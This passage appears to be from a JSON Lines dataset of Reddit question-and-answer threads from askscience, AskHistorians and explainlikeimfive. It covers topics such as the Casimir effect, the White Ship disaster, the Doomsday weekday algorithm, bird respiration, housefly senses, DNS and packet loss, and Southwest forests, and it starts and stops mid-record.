one's judgement of one's manhood, and where one can have blonde hair and blue eyes and still be an Afghan (they don't all share the same characteristics believe it or not), there is absolutely no reason to have to wear a gas mask so a seal (where the mask is secured to your face) is not necessary. Look at the average American Soldier. You can tell he's an American Soldier by the way he carries himself, his haircut, and his nice clean shaven face. Special Forces don't need to be picked out like that when working out behind enemy lines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.stripes.com/news/new-army-grooming-regulations-roll-back-wartime-leniency-1.274827"], [], [], [], []]}
{"q_id": "15b45n", "title": "Casimir effect: If there is a stack of surfaces in a configuration that would produce a Casimir force, would the force on the outermost surfaces be increased relative to a single pair of surfaces?", "selftext": "Casimir force results from excluding the 'longer wavelength' virtual particles from between surfaces. Stacked pairs of surfaces results in more excluded particles. Would the force on the outermost plates be larger for a stack of surfaces?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15b45n/casimir_effect_if_there_is_a_stack_of_surfaces_in/", "answers": {"a_id": ["c7kwneb"], "score": [2], "text": ["This is a great question. I haven't encountered it before, so this is only a brief, educated guess...\n\nThink of the Casimir force as a pressure difference. Fewer virtual photons between the surfaces, more on either side. This is what pushes the plates together. With your problem and this analogy any surface sandwiched between two other surfaces will experience the same pressure on either side (assuming equal spacing), and no net Casimir force. The outside surfaces will experience the same pressure difference as with just two surfaces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cqcwqu", "title": "The White Ship disaster", "selftext": "Is there a good book focused on the disaster and it\u2019s ramifications for English history? I looked but am unable to find one.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cqcwqu/the_white_ship_disaster/", "answers": {"a_id": ["ewwiino"], "score": [7], "text": ["The short answer to your question is that I know of no book specifically devoted to he disaster \u2013 and perhaps that's not too surprising; the only information that we have about it comes from several brief chroniclers' accounts (notably those of Eadmer, Orderic Vitalis, William of Malmesbury and Henry of Huntingdon, each less than two pages long), and the ramifications, while very important, are relatively straightforward to trace.\n\nProbably the most complete account you're going to find of the latter come in Warren Hollister's Yale bio of Henry I (pp.276-82, 458-60 in my 2001 paperback edition). Hollister gives excerpts from the 300-strong passenger list (an eminent one), which included\n\n* Henry I's sons, William Adelin (his heir and only legitimate son) and Richard of Lincoln (who was a bastard)\n* Matilda of Perche, Henry's illegitimate daughter\n* Richard, earl of Chester, and his wife, another of the very many Matildas of the day\n* A noted contemporary military hero, Ralph the Red of Pont-Echanfray\n\nThe most important person *not* to board was Stephen of Blois, the future King Stephen, whose succession to the English throne 15 years later was in large part a product of the death of William Adelin, which left Henry with only one legitimate child, a daughter, the Empress Matilda (never to be confused, of course, with Stephen's wife Matilda of Boulogne). Stephen was due to cross on the ship but came down with a stomach complaint before it left port; Hollister comments that \"his diarrhoea probably determined the history of England between 1135 and 1154.\"\n\nOther consequences of \"the most catastrophic maritime disaster of the Middle ages\" noted by Hollister were:\n\n* The collapse of Henrys carefully negotiated peace in Anjou, where he had been fighting since 1116; this had depended on a planned marriage between William Adelin and Matilda (yes, another one) of Anjou which did not now take place\n* Henry's remarriage to Adeliza, daughter of Geoffrey the Bearded of Louvain\n* Welsh incursions over the border into the Palatinate of Chester, undertaken when they heard of the death of Earl Richard, and a successful counter-attack led in person by the king\n* The foundation of Reading Abbey in 1121, which Henry endowed with enough lands to make it comparable to his father's foundation of Battle Abbey, together with \"immunities and liberties of unsurpassed scope\" \u2013 its own mint and the right to hold a four-day annual fair among them\n\nHollister goes further, though, in suggesting that the disaster prompted in Henry the works of \"his most serious and productive years\", which included the administrative reforms that began to produce the famous pipe rolls \u2013 royal accounts that offer us unparalleled insights into the finances of England from 1130."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ca4qb0", "title": "how to use the doomsday rule to find the day of any date from 1900-1999 and 2000-2099", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ca4qb0/eli5_how_to_use_the_doomsday_rule_to_find_the_day/", "answers": {"a_id": ["et5tg77", "et5ynfm", "et6a8uo", "et6asym", "et6d9ck", "et6ekn6", "et6gxh5", "et6i89j"], "score": [7, 3499, 3, 60, 7, 46, 2, 2], "text": ["4/4, 6/6, 8/8, 10/10, 12/12, and the last day of February all occur on the same day of the week in any year. Applying the Doomsday algorithm involves three steps: Determination of the anchor day for the century (Tabled: Wednesday for 1900-1999, Tuesday for 2000-2099, Sunday for 2100-2199), calculation of the doomsday for the year from the anchor day (see below) , and selection of the closest date out of those that always fall on the doomsday, e.g., 4/4 and 6/6, and count of the number of days (modulo 7) between that date and the date in question to arrive at the day of the week.\n\nTo calculate the doomsday of the year, take the anchor day of the century (e.g. Wednesday for 1900-1999). You then take the year (without the century), i.e. 66 for 1966. Then you perform the following calculation:\n\n(66 + 66/4)mod7. (Edit: then take the floor function, i.e. Round down (you can do this either to the end result, or to the 66/4), AmodB returns the remainder of A/B. So 12mod6 =0, 15mod4=3)\n\nThen count forward the number of days that this gives you. For the above example, (66+66/4)mod7  gives you 5. Wednesday + 5 = Monday, so the Doomsday for 1966 was a Monday\n\nEdit: the doomsday is then used a reference day/date. Choose the closest doomsday and count/calculate the days between it and any given date you want to know the weekday of.\n\nTake mod7 of that number and add the resulting number of days to your doomsday.\n\ne.g. If your doomsday is Thursday, then and you want to know what day of the week 27.04 is on, closest doomsday is 4.4, which is 23 days prior. So 27.04 is 23mod7 = 2 weekdays after Thursday, e.g. On a Saturday\n\n**Edit: Detailed Example:**\n\n4/4 6/6 8/8 10/10 12/12 and the last day of February always fall on the same weekday in any given year. This day is called the doomsday. \n\nIf you know the weekday of a certain date you can easily  calculate the weekday of any date close to it.\n\ne.g. If you know 4.4 is a Thursday, you can almost instantly conclude that 27.4 is a Saturday because there's 23 days between 4.4 and 27.04. That's 3 whole weeks and two days. Two days after Thursday is Saturday.\n\nBecause the dates 4/4 6/6 8/8 10/10 12/12 are very easy to remember dates, you can use these as reference.\n\nEvery century has an anchor day, as listed above. Using the formula (y+round down(y/4) )mod7, given y is any year (e.g. 66, 98, 05....), you can calculate the number of days between the relevant centuries anchor day and that year's doomsday.\n\nAs in my example above, the year 1966 is in the century from 1900-1999, which has the anchor day Wednesday.\n\n(66 + rd(66/4) )mod7 is 5. Therefore there are 5 days between the centuries achor day (Wednesday) and the years doomsday (Wednesday + 5 days = Monday) so the dates 4.4, 6.6, 8.8, 10.10 12.12 and the last day of February were all Mondays in 1966.\n\nSo now if you want to know what day 27.04 in 1966 Was you can quickly and completely in your head determine that it was a Wednesday.", "Ok, so:\n\nThere are certain memorable dates in every year that land on the same day of the week they are:\n\n4/4, 6/6, 8/8, 10/10, 12/12, 9/5, 5/9, 7/11, 11/7, and the last day of February (even if it's a leap year)\n\nFor example: in 1994 they were all Mondays, in 2003 they all landed on a Friday, and this year they land on a Thursday \n\nThe day of the week that these dates land on for any given year is called that year's \"doomsday\" (i.e. Monday was 1994's doomsday)\n\nNow that you have memorized lots of days throughout the year that all land on the same day as each other, you can count the number of days between the closest date and the date you want to find and take the remainder after dividing the difference by 7. Then add that number to the doomsday and you have the day of the week \n\nFor example: Let's say you wanted to find the day of the week for July 15th 1994. Knowing that June 6th 1994 is a Monday, you can find the difference between July 15th and June 6th (39 days.)\n\nNow divide by seven (for seven days of the week) and take the remainder. 39/7=5 remainder=4. \n\nNow it helps to think of days of the week as numbers (Sunday=0, Monday=1, Tuesday=2, etc.) \n\nIf you add the remainder to the value of the doomsday (in this case Monday=1 and 1+4=5) then the sum will be the value of the day of the week on July 15th 1994 (in this case it was a Friday)\n\n_____________________________________________\n\n\nNow we know how to find the day of the week given the doomsday of a year, but what if we don't know the doomsday.\n\nTo find out we first start off with anchor days, which are like doomsdays, but for centuries instead of years. (In the algorithm centuries are defined by '00-'99) \n\n1800-1899's anchor is Friday, 1900-1999's is Wednesday, 2000-2099's is Tuesday, and 2100-2199's will be Sunday. \n\n**EDIT:** according to u/LimjukiI finding the doomsday is much easier. \n\nIf the last two digits of a year =y (so 1937 would be 37=y) then you do as follows \n\ny + (y/4) \n\n > So 37/4 = 9 (you always round down)\n\n > 9+37=46\n\nthen take the remainder when dividing by 7\n\n > 46/7=6 remainder: 4\n\nAnd add the remainder to the value of the anchor day\n\n > 4 + 3 = 7\n\nThen divide by 7 and take the remainder again\n\n > 7/7=1 remainder: 0\n\nAnd the remainder is the value of the doomsday (in this case Sunday)\n\n_____________________________________________\nNow you can use that to calculate the day of the week for any day in 1937 just like we did with 1994 earlier.\n\nHope this makes sense!!! and remember that any date before Thurs. September 14th, 1752 needs a modifier due to the Julian -- >  Gregorian switch", "First two math things you need to know:\n\nmod is a mathematical operand that returns the remainder of a devision. So AmodB = remainder(A / B) (e.g. 15mod4 = 3)\n\n\u230a\u230b is a floor function. Simple as it is, it just rounds down a number. (e.g. \u230a19/10\u230b = \u230a1.9\u230b = 1\n\nNow that you know these two, you can write the Doomsday algorithm as one simple line (don't worry explanation and in depth example will follow)\n\nDoomsday = _Anchorday_ + (y + \u230ay/4\u230b)mod7 _days_\n\nWhere y is the last two numbers of the Year in question (e.g. 17 for 2017, or 76 for 1976)\n\nNow what is Anchorday and Doomsday? \n\n**Anchorday**: is a weekday that functions as a sort of \"Anchor\" a base value from which we caliclate the _Doomsday_. It's a different day every century, and the easiest thing to is to just remember them. 1900-1999 has _Anchorday_ Wednesday, 2000-2099 has Tuesday and 2100-2199 has Sunday. \n\n**Doomsday:** Is also a weekday, every year has one, and it's the day if the week on which a few, easy to memorise, dates all fall on. \n\nLast day of February (so 28.02 or 29.02 in a leap year), 04.04, 06.06, 08.08, 10.10, 12.12 **always** fall on the same day of the week. It's a Thursday this Year. \n\nNow that we've got all the vocabulary out of the way let's look at an example to better understand what this all means. Let's say we want to know what weekday the 18.07.1962 is. \n\nNow, our _Anchorday_ is, as in the list above, Wednesday. Now let's look at our formula \n\nDoomsday = Wednesday + (62 +\u230a62/4\u230b)mod7 _days_ = Wednesday + (62+ 15)mod7 _days_ = Wednesday + (77)mod7 days = Wednesday + 0 _days_ = Wednesday. \n\nSo our _Doomsday_ in 1962 was a Wednesday. \n\nSo we now know that 28.02 (62 **wasn't** a leap year), 04.04, 06.06, 08.08, 10.10, 12.12 in 1972 were all Wednesdays. We can use these as reference. \n\nOur date, 18.07 has the closest doomsday 08.08. There's 21 days between 18.07 and 08.08. 21 days is Exactly 3 weeks (21mod7 = 0), so we know that 18.07 and 08.08 need to be on the same day of the week, a Wednesday. \n(in case the difference is not an exact number of days, you calculate the number of days difference again, say N days. Then you calculate x=Nmod7 (remainder of N/7), then if your chosen Doomsday was **before** your random date you  know that it's x weekdays **before** the Doomsday, otherwise it's x weekdays **after** the Doomsday) \n\n\nSo now we've figured out that our random day 18.07.1962 was a Wednesday. \n\nAnd that's how you use the Doomsday algorithm.\n\n\nEdit: Mixed up the years on the second step of the math. Fixed now", "Okay, I feel like every answer so far has been confusing (this is sub is intended for 5 year olds, theoretically). I spent the last hour trying to learn the algorithm and I\u2019ll try to explain it as simply as I can.\n\nLet's begin.\n\n1) Memorize that Sunday is 0, Monday is 1, Tuesday is 2, Wednesday is 3, Thursday is 4, Friday is a 5, and Saturday is 6. Pretty basic stuff.\n\n2) Know that each century has an anchor date (sort of like a reference point) that goes through a 4-century cycle. Memorize that the anchor date for the time period 1800-1899 is Friday, 1900-1999 is Wednesday, 2000-2099 is Tuesday, and 2100-2199 is Sunday.  Like I said, it repeats every four centuries. So 2200-2299 is Friday, 2300-2399 is Wednesday and so on. \n\n3) Here is the actual algorithm. Let\u2019s use the date 5/19/1930 as our example. \n\ni) **How many time does 12 fit into the last two digits of our number**, 1930? Well, 12 * 2 is 24 and 12 * 3 is 36, so the answer to that question is 2.\n\nii) **What is the remainder of the last two digits of the year when we divide by 12?**? We have 30 - 12 * 2  which gives us 6. \n\niii) **How many times does the number four fit in the answer from (iii)**? Well, 4 fits into 6 one time because 4 * 1 is 4 and 4 * 2 is 8.\n\niv) Remember how in step 2 I said you had to memorize **the anchor date**? Since we\u2019re looking at the year 1930, which is in 1900-1999, we say that the anchor date is a Wednesday. Now remember how in step 1 I said we had to memorize the number version for each day of the week? Well, Wednesday is 3.\n\nv) **Add all yours answers from (i), (ii), (iii), and (iv)**. In our example, we get 2 + 6 + 1 + 3 which is 12.\n\nvi) Almost done! **What is the remainder when you divide the number in (v) by 7**? Well, 12 / 7 is certainly not a whole number. To find the remainder, just find how many times 7 goes in 12, which is 1, and subtract 1 * 7 from 12. So, 12 - 7 gives us 5, the remainder. Turn 5 into a day of the week which we use step 1 to do. 5 gives us Friday. We have just found the doomsday for the year 1930. It is Friday.\n\n4) Wee! Last step! Now how do we go from the doomsday to the date in question? Well, we first have to memorize that the following dates are **doomsdays: 2/28 or 2/29 (if date in question is during leap year),  3/7, 4/4, 6/6, 8/8, 10/10, 12/12, 7/11, 11/7, 5/9, and 9/5**. Now, apparently there are some other, more specific dates, that are doomsdays, like July 4th and Halloween. \n\nWell, what you want to do now, is find the nearest doomsday for your date in question. Our example was 5/19/1930. We already found the doomsday for 1930, Friday. Now we think to ourselves, **\u201cwhat\u2019s the nearest doomsday to our date?** Well, we had to memorize that 5/9 was a doomsday, and it seems like it\u2019s the closest one to 5/19. So we say that 5/9 is Friday, our doomsday for 1930. Then we use basic calendar skills to say that 5/16 is Friday, so 5/17 is Saturday, 5/18 is Sunday, and finally, 5/19 is Monday!\n\nWe are done! 5/19/1930 was a Monday! That\u2019s how you use the Doomsday Algorithm to find any day of the week for a date in mind! Neat stuff!", "A formula which I learned many years ago which I believe is correct and can be easily put into a spreadsheet is\n\n & #x200B;\n\nDAY + 2 x Month  +3 x (Month +1)/5 + YEAR + YEAR/4  - YEAR/100  + Year/400  + 1\n\n & #x200B;\n\nJANUARY AND FEBRUARY ARE TREATED AS THE 13TH AND 14TH MONTHS OF THE PREVIOUS YEAR\n\n & #x200B;\n\nAll the above are treated as integers and rounded down.\n\n & #x200B;\n\nDivide the result by 7 and the remainder is the day of the week with Sunday being zero.\n\n & #x200B;\n\nFor example, today is July 7, 2019\n\nThe formula results in\n\n & #x200B;\n\n7+2x7+3x(7+1)/5+2019+2019/4-2019/100+2019/400+1=\n\n7+14+4+2019+504-20+5+1=2534\n\n & #x200B;\n\n2534/7 = 362 with a remainder of zero, therefore today is Sunday\n\n & #x200B;\n\nI would be grateful if someone could confirm that the formula is correct", "Can someone explain what is the meaning of \"doom\" in doomsday?  It doesn't seem to be related to \"the last day of the world's existence\".", "How do you calculate the Anchor days?  This is cool.  I have always used the basic calendars this is way less to carry.", "Couldn't you do that with any day though? For example, if I know July 8th is Monday, then July 15th is also a Monday. So those dates (and any additional seventh day after that) will always be the same day of the week. What makes these special?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "196bku", "title": "what is happening when you are \"slap-happy\"?", "selftext": "What's happening when people get slap-happy?  That feeling where you laugh at everything and that happens usually (always?) when you're tired.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/196bku/eli5_what_is_happening_when_you_are_slaphappy/", "answers": {"a_id": ["c8ljt1u"], "score": [2], "text": ["Wow, slap happy means a completely different thing where I'm from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pw0u9", "title": "How do bird lungs work?", "selftext": "I stumbled upon the Wikipedia article about bird anatomy (_URL_0_) and am excited to see that bird lungs are really different than how mammal lungs work (which seem simpler to me and I think I roughly understand.) \n\nI am trying to understand what's going on here but am having some trouble. Specifically, there is a caption on the wiki page that says: \"Birds lungs obtain fresh air during both exhalation and inhalation\", which I can't follow. \n\nCan anyone shed some light on this? Can you summarize the differences between mammalian respiration and bird respiration? What specifically makes the bird respiration more efficient? \n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pw0u9/how_do_bird_lungs_work/", "answers": {"a_id": ["c3sp6lm", "c3srw67"], "score": [9, 2], "text": ["Here, try [this](_URL_0_) diagram instead of the one on the wikipedia page. The bird breathes in air, which goes to the farthest air sacs. It breathes out, and air travels through the lungs. It breathes in again, filling that rear set of air sacs once more while the first breath enters the air sacs nearest the mouth, and then the bird breathes out again, and the old air from the first breath exits, while the second \"batch\" of air enters the lungs.\n\nDoes that help?\n\nEdit: to clarify the exact statement on the wikipedia diagram, I believe they mean that the bird collects fresh air when it breathes in, and actually extracts oxygen from the still-fresh air when it breathes out. It isn't as if the bird is literally taking in fresh air from its environment during both inhalation and exhalation.", "This really is neato."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Bird_anatomy#Respiratory_system"], "answers_urls": [["http://www.peteducation.com/images/articles/ill_bird_resp_comp.gif"], []]}
{"q_id": "57lzkd", "title": "What senses does an ordinary house fly have? And to what extent does it use them to operate?", "selftext": "I'm creating a first person fly simulator game and I'm interested in getting a better understanding of how exactly an ordinary fly moves, avoids obstacles, finds food, evades danger and so forth.\n\nThe game will sacrifice authenticity for fun where needed, but I would like it to be scientifically accurate in general.\n\nMy primary points of interest are obviously vision, but also the sense of hearing/feeling? Like if something loud happens, a fly will be spooked, but through what means did it sense it? Did it hear it? Sense vibrations in the air through antennae? Is it able to distinguish the direction the sound came from? To what extent does its own flight make it harder to \"hear\"?\n\nWhen hunting food, does it capture food particles in the air and follow them to the food?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/57lzkd/what_senses_does_an_ordinary_house_fly_have_and/", "answers": {"a_id": ["d8t8rji", "d8tbrzn", "d8trp24", "d8u36vd"], "score": [53, 21, 6, 3], "text": ["They have very effective compound eyes which give them nearly panoramic vision, which is strongly tuned to detect motion. They also are covered with hairs which terminate in chemoreceptors, so they \"taste\" their environment as well. When a fly lands on something, it's tasting that thing and deciding if it's good to eat, or maybe reproduce around. Their \"taste\" and their ability to smell chemicals in the air are essentially interchangeable too, and how they find food. \n\nFinally, depending on the fly they may have specialized organs to sense vibrations; their version of \"hearing\". Often this will be the result of a tympanal organ in the legs, ganglions at the base of some hairs, and some (like the dreaded mosquito) use an organ at the base of the antenna called Johnston's organ.", "We understand a greater proportion of the housefly's visual system perhaps than that of any other animal. The work of [Tomaso Poggio](_URL_0_) and others has offered extremely detailed computational models of how a fly's visual inputs lead to a variety of behaviors, and the model is actually remarkably simple (when compared to what is known about the visual systems of many other animals). \n\n[This article by the late visual scientist David Marr](_URL_1_) offers in it a brief overview of some aspects of the housefly's visual system (search housefly and read the several paragraphs on that topic). If you aren't mathematically inclined or don't want to read more sources, the takeaways include that the visual system here seems highly specialized, with perhaps only five main functions (for example, a 'landing' mechanism that executes a landing maneuver if the fly is near enough and rapidly enough approaching a surface). Perhaps most intriguing for your purposes, though in actuality probably not fun if replicated in a game, is that in all likelihood houseflies have nothing like a visual representation of the world in the sense that (sighted) humans do. They likely use the inputs from their retinas mainly for doing specific tasks, as opposed to the much more general-purpose visual systems of most mammals.\n\nIf you're interested in a lot of detail, you can check out the Poggio articles cited in the Marr paper I linked to, though those may written to an excessive degree of mathematical and neurophysiological detail for your purposes.\n\nGood luck with the game! I'm afraid I can't answer questions unrelated to vision on this topic.\n\nEdit: grammar", "One thing I should mention about compound eyes: they **do not** see the same image \"repeated\" like they sometimes show in cartoons. But rather, the effect is that the fly sees something like a pixelated version of what we would see.", "your questions about vision and vibrations have been answered already, so I will address the question you had about sound.  \n\nThere are very few insects that are able to sense the direction that a noise comes from.  You are able to tell the direction of a sound because sound waves hit your ears at different times, and your brain can process the lag time between ears as a direction.  In most insects their bodies are too small, so the distance between hearing organs becomes meaningless.  \n\nThe only exception I can think of is a group of parasitic flies which track down their grasshopper hosts by their call.  The fly has a mechanism in their thorax which slows down the vibrations which hit the fly's body.  sound waves have to be slowed down enough by their tympanal membranes that a direction can actually be discerned.\n\nmore information [here](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Tomaso_Poggio", "http://ling.umd.edu/~ellenlau/courses/ling646/Marr_1982.pdf"], [], ["http://link.springer.com/article/10.1007/s004410050604"]]}
{"q_id": "c6hk0w", "title": "how does changing a dns server solve packet loss ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6hk0w/eli5_how_does_changing_a_dns_server_solve_packet/", "answers": {"a_id": ["es8s53e", "es8sdiv", "es8trwm", "es8wcm4", "es90zci", "es990o8"], "score": [26, 44, 36, 14, 2, 3], "text": ["It will not. Unless the packet loss issue is between you and the old DNS server. The DNS protocol is not designed to handle packet loss very well and a single lost packet can cause several extra seconds to the domain lookup process. And as modern websites tend to introduce you to dosens of new domains each this means that most websites can take tens of seconds to load even with moderate packet loss. Changing the DNS server may reduce the DNS packet loss and make the websites load much faster.", "A dns server is a computer that gives your computer the numbered address for the named address you are looking for, e.g., you ask for the address of [_URL_0_](https://_URL_0_) and it replies with 2607:f8b0:400a:800::200e.\n\nIf one of these dns servers has the wrong information in it, then the packets your computer tries to send out go to the wrong numbered address, and the receiving computer just throws them away. Eventually, this dns server will probably get the correct information from another dns server higher up the chain, but in the meantime, it is best to just switch to using a different one that has the correct address right now.", "DNS is the program behind the scene that translates web site names, like \u201c_URL_0_\u201d into what\u2019s called an IP address, kind of like a phone number. Think of it like the address book in your phone. You look the name up, it calls the person by phone number. \n\nPacket loss is something else. It\u2019s to do with the \u201creliability\u201d of your internet connection. More loss is bad. Basically, lumps of data are sent over the internet and some can get lost on their way. If they do get lost, your computer will send them again but this makes things slower. \n\nIf someone told you to change your DNS so you can get to a server, it\u2019s possible that that server may have been blocked by your internet service provider - often for legal reasons. Using another DNS may get round that. \n\nGoogle run free DNS servers but generally it\u2019s not something you need to change. It\u2019s quite possible your ISP actually uses the google servers anyway.", "It shouldn't. All that DNS does, is when you type in \"[_URL_0_](https://_URL_0_)\" (which means nothing to your computer, as it only understands IP addresses), a DNS server will say \"Oh yeah, I know that server, it sits at IP address [151.101.1.140](_URL_2_)\", and your computer will try to reach that address\n\nThe only situation I can think of where it matters, is if you are trying to connect to some big global service with multiple servers around the world. One DNS server might return one address of that service, while another DNS server could return another, which may or may not be closer to you than the first one. Those two addresses could be along different routes on the internet, and one could have more packet loss than the other.\n\nBut this is very theoretical. It shouldn't matter. DNS only resolves addresses, nothing more, nothing less, and what happens after that (like packet loss to the resolved address) is outside the purpose of DNS.\n\nAlso one DNS server could be faster than another, in replying to a request. This can be perceived by you as being on a slower line (as the time between you typing in \"[_URL_0_](https://_URL_0_)\" and seeing the page load increases), but again this has nothing to do with packet loss between you and the server you're trying to reach.", "It doesn't. Packet loss implies some packets are lost, but not all. A bad DNS reply would cause complete packet loss, because you'd be contacting the wrong destination.\n\n\nHowever, if you're talking about packet loss to the DNS server itself, changing to a more reliable DNS server will help that.", "ELI5: WTF did the OP just ask?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["google.com", "https://google.com"], ["www.reddit.com"], ["www.reddit.com", "https://www.reddit.com", "https://151.101.1.140"], [], []]}
{"q_id": "5jozbn", "title": "why is sustained unpleasant noise, such as a crowd of screaming children or loud machinery so physically tiring?", "selftext": "If the wear is only on my ears, why do I feel run down or spent afterwards?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jozbn/eli5why_is_sustained_unpleasant_noise_such_as_a/", "answers": {"a_id": ["dbhv4lg"], "score": [7], "text": ["Here are two possible solutions: first it is due to coincidence, or it may be due to an induced stress response. What I mean by coincidence is, a crowd of screaming children or loud machinery often comes with chasing around children or doing work with the machines. This is what tires you, the noise is just something you associate with the tiredness. The second explanation is has to do with your body releasing flight or fight hormones, including adrenaline in response to a loud, stressful environment. After leaving the loud environment, the hormones wear off and you are left in a state of minor withdrawal, like a sugar high and subsequent crash. \n\nTLDR: tired from the activity, not the noise or crash after adrenaline rush. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3lutig", "title": "is the pope's trip to the us funded completely by the church?", "selftext": "I live in the Philadelphia area and the city is gearing up for the Pope's visit this week. Is everything funded by tax payers, or is this something the Vatican will pay for?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lutig/eli5is_the_popes_trip_to_the_us_funded_completely/", "answers": {"a_id": ["cv9h6ls", "cv9h76r", "cv9hpzu"], "score": [2, 2, 5], "text": ["I would say that this is funded by the city/tax payers. Just like the Olympics or other large events. By coming to Philly, the 'Pope' is generating buzz, tourism = $$$ for the city.", "The Vatican is also a country in its own right, so I'm sure the taxpayer will foot the bill in the sense of paying for security by police and federal agencies, but not more so than another head of state visiting. Im certain there will be some cost to the taxpayer but its also mainly going to be funded by the church", "It's a mix. Part of the cost is being paid by the World Meeting of Families (a Catholic conference which is what the Pope is mostly coming for); the government can't pay for *religious* costs, but can pay costs it would pay for any nonreligious visit (like a visit by the Queen of England). The federal government is also paying a bunch for security; this is a mix of \"it's a state visit, you don't bill a country for things like Secret Service protection\" and \"it's a huge public event, and the feds want to make sure everything's safe, and don't want that to depend on what the organizers can afford.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dcelov", "title": "Were there more forests in Western Texas, Nevada, and Arizona before Europeans arrived, or has the landscape stayed pretty much the same?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dcelov/were_there_more_forests_in_western_texas_nevada/", "answers": {"a_id": ["f2b0e5m", "f2b29hv"], "score": [4, 2], "text": ["Generally speaking these areas were not very forested prior to european arrival.  What was and still is forested is higher elevations.  A good example of this is [sky island](_URL_0_) forests on mountain ranges in AZ.  These have been seperated for thousands of years since the end of the ice ages.  You get similar forested regions at high elevations throughout the region, for example the basin and range region of Nevada and highlands around flagstaff.  Check out this treecover map and look for the green patches out in the southwest.  Those are the scattered places where tree growth is viable, usually higher elevations. \n\nInterestingly, one of the big issues with trees in many parts of the region doesn't date back to the colonial era, but the 20th century.  And it isn't caused by too few trees but too many!  Suppression of wildfires and disturbances from logging have allowed trees to grow much more densely across much of the forested parts of the region, resulting in much more damaging wildfires when they do happen.  Increased density can also increase water stress and disease and reduce tree size.", "Just a note OP, Arizona is still very forested in all the places where higher elevation can support non-desert plant life. AZ actually gets a fair deal of rain, and that increases as elevation goes up - it\u2019s snows there every year, enough to support 2 or 3 ski resorts (depending on your definition of resort). \n\nAccording to this study from the federal government that quantified AZ's forest resources and the changes over the period of 2001-2014 (_URL_2_):\n\n >  There are an estimated 18.6 million acres of forestland in Arizona, about 25 percent of the State\u2019s total land area. Almost 91 percent (16.9 million acres) of the forest land is unreserved, meaning that it is available to be managed for production of various forest resources. Almost 18 percent (3.0 million acres) of the unreserved forest land is classi- fied as timberland, meaning that the land has the capability of producing greater than 20 cubic feet per acre per year of wood volume.\n >  \n >  Arizona\u2019s most common forest-type group is pinyon/juniper, which covers 11.1 million acres or almost 60 percent of the State\u2019s forest land. The woodlands hardwoods group is the second most abundant, making up 3.6 million acres (19.5 percent) of the State\u2019s forest land.\n\nOr in other words, 18.6 million acres is around 29,000 square miles...a bit larger in area than the country of Ireland. Basically the middle 1/3 of the state (visually at least when you [look at a map](_URL_13_)) is pine forest that looks like this:\n\n\n[Mogollon Rim country forest](_URL_5_)\n\n[Video of hiking in AZ](_URL_1_)\n\n[You can go fly fishing in north eastern AZ in settings that look like Montana](_URL_4_)\n\n[AZ forest in the winter](_URL_14_)\n\nAnd even the desert parts around Phoenix aren\u2019t just sand and rock (like what you see on the far western parts of the state / eastern California), and a far cry from Tattooine style sand dunes (though you can find those in the SW corner of AZ around Yuma). A lot of it is actually very lush desert with lots of plant life. \n\n\n[Hiking in the desert](_URL_0_)\n\n[Lots of plants in the desert](_URL_12_)\n\n[Biking through the pointy plants](_URL_6_)\n\n[A little north of Phoenix and you see this sort of view](_URL_9_)\n\n[Even snows in the desert parts in winter](_URL_3_)\n\n[You can even go skiing just 100 miles from the Mexican border](_URL_7_)\n\nIt\u2019s always fun take take someone who has never been to AZ out on a hike around Phoenix. From a distance / driving on the freeway at 80mph the trails and hills look like just ankle high bushes, especially in comparison to the giant saguaros, and then you get out there and realize that a lot of the other plants [are taller than human height](_URL_10_) and you feel like you are waking in a particularly pointy scrub forest. \n\nAlso King of the Hill \u201cPhoenix is a testament to man\u2019s arrogance\u201d joke / meme aside, Phoenix exists where it does because it was sited there by native Americans at the [confluence of rivers](_URL_11_). Most have been dammed in the mountains for water supply, but you can [still go tubing on the upper parts](_URL_8_)\n\nSo at least as far as AZ goes, forestation tends to be more a function of elevation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.fs.fed.us/wildflowers/beauty/Sky_Islands/communities/index.shtml"], ["https://www.aoa-adventures.com/wp-content/uploads/2018/08/half-day-hiking-group-3.jpg", "https://www.youtube.com/watch?v=RkhIZCQPbUw", "https://www.fs.fed.us/rm/pubs_series/rmrs/rb/rmrs_rb025.pdf", "https://i.pinimg.com/originals/d1/80/82/d180829cfeba46422450133d6e71448d.jpg", "https://live.staticflickr.com/7078/7110596095_122f743484.jpg", "https://images1.phoenixnewtimes.com/imager/u/745xauto/8541339/trail-mogollon-rim-sara-palmer.jpg", "https://ssl.c.photoshelter.com/img-get/I0000DRuJ0IQsSKQ/s/1200/I0000DRuJ0IQsSKQ.jpg", "https://www.visittucson.org/sites/default/files/image-c_fitw_800h_600crmtucsonski-valley-snow0_2f688605-5056-a36a-0a5028eb5fe988ea-9439.jpg", 